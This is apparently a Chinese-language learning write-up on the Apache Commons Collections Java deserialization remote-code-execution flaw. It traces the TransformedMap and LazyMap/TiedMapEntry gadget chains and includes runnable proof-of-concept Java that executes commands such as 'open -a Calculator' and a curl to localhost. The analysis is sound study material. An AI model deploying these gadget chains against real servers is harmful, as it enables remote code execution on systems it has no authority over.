Apache Commons Collections 是 Apache Commons 的组件,它们是从 Java API 派生而来的,并为Java语言提供了组件体系结构。 Commons-Collections 试图通过提供新的接口,实现和实用程序来构建JDK类。
Apache Commons 包应该是Java中使用最广发的工具包,很多框架都依赖于这组工具包中的一部分,它提供了我们常用的一些编程需要,但是JDK没能提供的机能,最大化的减少重复代码的编写。
2015年11月6日FoxGlove Security安全团队的 @breenmachine 发布了一篇长博客,阐述了利用Java反序列化和 Apache Commons Collections 这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
Apache Commons Collections 中有一个特殊的接口 Transformer ,其中有一个实现该接口的类可以通过调用Java的反射机制来调用任意函数。
Transformer 接口
public interface Transformer {
public Object transform(Object input);
}
InvokerTransformer
public class InvokerTransformer implements Transformer, Serializable {
......
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
可以看到 transform 方法利用Java的反射机制进行任意方法调用。
input 参数是传入的一个实例化对象,反射调用的是其方法。
private InvokerTransformer(String methodName) {
super();
iMethodName = methodName;
iParamTypes = null;
iArgs = null;
}
iMethodName,iParamTypes,iArgs 分别对应方法名,参数类型,参数,都是在实例化 InvokerTransformer 时传入的可控参数。因此利用这个方法我们可以调用任意对象的任意方法。
在Java中不能像php一样直接执行 system() 之类的函数,Java是完全面向对象的一门语言,执行某个操作需要 对象->方法 或者 类->静态方法 这样调用,常用的是 Runtime.getRuntime().exec(cmd) ,因此上面的任意方法调用不能达到命令执行的目的。要多次调用 transform 并且上一次的返回结果作为下一次的输入。
public class ChainedTransformer implements Transformer, Serializable {
......
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
.......
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
commons-collections 中有一个满足上面条件的类: ChainedTransformer ,该类实例化传入一个 Transformer 类型的数组,调用其 transform 方法挨个调用数组中对象的 transform 方法,并将返回值做为下一次调用对象方法的参数,第一个对象调用 transform 方法时的参数是用户传入的。
结合 InvokerTransformer 可以构造出:
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
可以看到实例化 InvokerTransformer 时传入了对应的参数,返回了一个 _Transformer 数组对象。_
接着做为实例化参数传入
ChainedTransformer ,赋值给了
this.iTransformers
然后把 Runtime.getRuntime() 对象做为参数传入 ChainedTransformer 的 transform 方法。然后调用数组中第一个对象的 transform 方法(数组中只传入了一个 InvokerTransformer 对象),把 Runtime.getRuntime() 做为调用参数。
然后反射调用 Runtime.getRuntime() 的 exec 方法并传入参数 open -a Calculator 执行。
当我们把上述 transformerChain 对象进行序列化然后反序列化时很明显不会触发命令执行,除非后端代码这样写。
InputStream iii = request.getInputStream(); ObjectInputStream in = new ObjectInputStream(iii); obj = in.readObject(); obj.transform(Runtime.getRuntime()); in.close();
显然不可能有这样的代码,我们的目的是只执行 readObject() 就触发命令执行。
这里用到一个内置类 ConstantTransformer , transform 方法会把传入的实例化参数原样返回。
public class ConstantTransformer implements Transformer, Serializable {
.....
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
}
因此构造
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
但是这里实例化后的对象 Runtime 不允许序列化,所以不能直接传入实例化的对象。所以我们需要在 transforms 中利用 InvokerTransformer 反射回调出 Runtime.getRuntime() 。
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
整个调用链是 ((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")
现在反序列化后就可以 obj.transform("随意输入"); 这样触发命令执行,但是一般也没有这样的代码,我们还需要继续构造。
https://xz.aliyun.com/t/4558#toc-0
/org/apache/commons/collections/map/TransformedMap.class
protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
return valueTransformer.transform(object);
}
这里只要 valueTransformer 可控就可以利用上面的调用链。
构造函数
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
可以看到 valueTransformer 是可控的。
触发点
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}
因此可以构造
Transformer[] transformers = new Transformer[] {
//传入Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
transformedmap.put("1", "2");
要想实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对Map的操作。
如果我们要实现反序列化RCE还需要找个重写readObject的地方,而且还需要有对map执行put的操作。
不过还有一处 checkSetValue 同样调用了 transform
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
在他的父类 AbstractInputCheckedMapDecorator 中有个 MapEntry 静态类,调用了 AbstractInputCheckedMapDecorator.checkSetValue
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
我们需要找一个 readObject 中对 map 执行 setValue 的地方。
在jdk小于1.7的时候 /reflect/annotation/AnnotationInvocationHandler.class 中, readObject 中有对 map 的修改功能。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
调试payload
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.util.HashMap;
import java.lang.reflect.Constructor;
import java.util.Map;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class test implements Serializable{
public static void main(String[] args) throws Exception
{
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"curl http://127.0.0.1:10000"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "2");
Map transformedmap = TransformedMap.decorate(map, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
ByteArrayOutputStream exp = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(exp);
oos.writeObject(ins);
oos.flush();
oos.close();
ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());
ObjectInputStream ois = new ObjectInputStream(out);
Object obj = (Object) ois.readObject();
}
}
首先把 transformerChain 赋值给了 valueTransformer 。
getDeclaredConstructor() 返回有指定参数列表构造函数的构造函数对象,这里获取了 sun.reflect.annotation.AnnotationInvocationHandler 的构造函数对象。最后实例化了 sun.reflect.annotation.AnnotationInvocationHandler :
Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);
var1 和 var2 分别对应 java.lang.annotation.Retention 和Map实例 transformedmap
看其 readObject 方法
Iterator var4 = this.memberValues.entrySet().iterator(); , this.memberValues 就是Map实例 transformedmap ,首先会去调用其父类的 entrySet 方法,
而 valueTransformer 不为空,所以返回true。进入 new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this)
最终返回一个迭代器。
然后这里可以看到 var3 的键名为 value ,因此我们put的 key 必须为 value ,这样var7才不会为 null 。
接着判断 var7 是否是 var8 的实例, var8 是不是 ExceptionProxy 的实例。
setValue ,此时的
_this_.parent 就是
transformedmap
最终调用transform,触发命令执行。
看 /org/apache/commons/collections/map/LazyMap.java 中的get方法
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
factory 同样可控, key 任意值不会影响结果。
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
现在我们需要想办法触发 get 方法。
/org/apache/commons/collections/keyvalue/TiedMapEntry.class
getValue 调用了 map 实例的 get 方法。
public Object getValue() {
return map.get(key);
}
而 toString 方法会调用 getValue ,java中的 toString 和php一样,都是当对象被当做字符串处理的时候会自动调用这个方法。
public String toString() {
return getKey() + "=" + getValue();
}
修改poc
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "123456");
序列化 entry 对象,当漏洞反序列化代码如下时触发漏洞:
InputStream iii = request.getInputStream(); ObjectInputStream in = new ObjectInputStream(iii); System.out.println(in.readObject()); in.close();
这样的话 我们还需要打印这个反序列化对象,我们需要找到一个重写了readObject方法,并且对某个变量进行了字符串操作的类。
/javax/management/BadAttributeValueExpException.java
这里直接调用了 valObj.toString() ,而 Object valObj = gf.get("val", null); ,这里的 val 是私有变量我们可以通过反射私有变量来赋值。从而让 valObj=entry 。
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
最终会调用 toString 。
按照大师傅们文章中的思路跟了一遍,java好难,php真香。